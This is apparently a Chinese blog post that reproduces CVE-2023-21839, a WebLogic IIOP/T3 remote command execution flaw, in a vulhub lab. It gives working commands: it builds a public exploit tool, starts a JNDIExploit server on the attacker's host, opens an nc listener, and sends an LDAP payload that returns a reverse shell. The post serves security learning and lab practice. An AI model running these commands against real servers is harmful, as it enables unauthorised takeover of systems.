漏洞复现-CVE-2023-21839-weblogic远程命令执行
0x00 实验环境
攻击机:Ubuntu
靶场:vulhub搭建的靶场环境
0x01 影响版本
允许远程用户在未经授权的情况下通过 IIOP/T3 进行 JNDI lookup 操作,当 JDK 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致 RCE 漏洞
-
WebLogic_Server = 12.2.1.3.0
-
WebLogic_Server = 12.2.1.4.0
-
WebLogic_Server = 14.1.1.0.0
0x02 漏洞复现
(1)通过nmap探测开放端口7001端口:且使用T3协议:
(2)访问console目录,发现存在后台:http://x.x.x.x:7001/console/login/LoginForm.jsp
(3)使用网上开源的工具进行漏洞探测:dnslog(开源工具链接:https://github.com/4ra1n/CVE-2023-21839)
本机需要安装好go的环境,Windows的话直接进入该工具的cmd/目录下运行:
go build -o CVE-2023-21839.exe
然后目录下会生成该漏洞利用的exe文件
拷贝出来进行漏洞探测:发现dnslog存在回显,说明存在漏洞,如果报错之类的,可能是不存在该漏洞。
(4)反弹shell:
使用github上已经放出来的JNDI的漏洞利用工具,在自己的公网服务器开启rmi服务,监听1389端口。(注:记得不要写0.0.0.0,要写你的公网服务器的IP,不然弹不回来。)
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i YourIP -l 1389 -p 9999
(5)然后在在这台开了1389的服务器上使用nc监听端口:
nc -lvp 9988
(6)然后再在自己本地电脑(放有CVE-2023-21839.exe)运行以下命令:
CVE-2023-21839.exe -ip 目标主机IP -port 7001 -ldap ldap://YourIP:1389/Basic/ReverseShell/YourIP/9988
(7)目标主机成功getshell:
0x03 漏洞原理
由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,未经身份验证的攻击者通过IIOP/T3协议向受影响的服务器发送恶意的请求。主要风险点是lookup方法的使用。详细分析与防御放在漏洞分析一栏有时间再研究。看了一下,wireshark的tcp流量是有显示T3协议的。
0x04 参考文献
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839
https://github.com/4ra1n/CVE-2023-21839
0x05 免责声明
本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!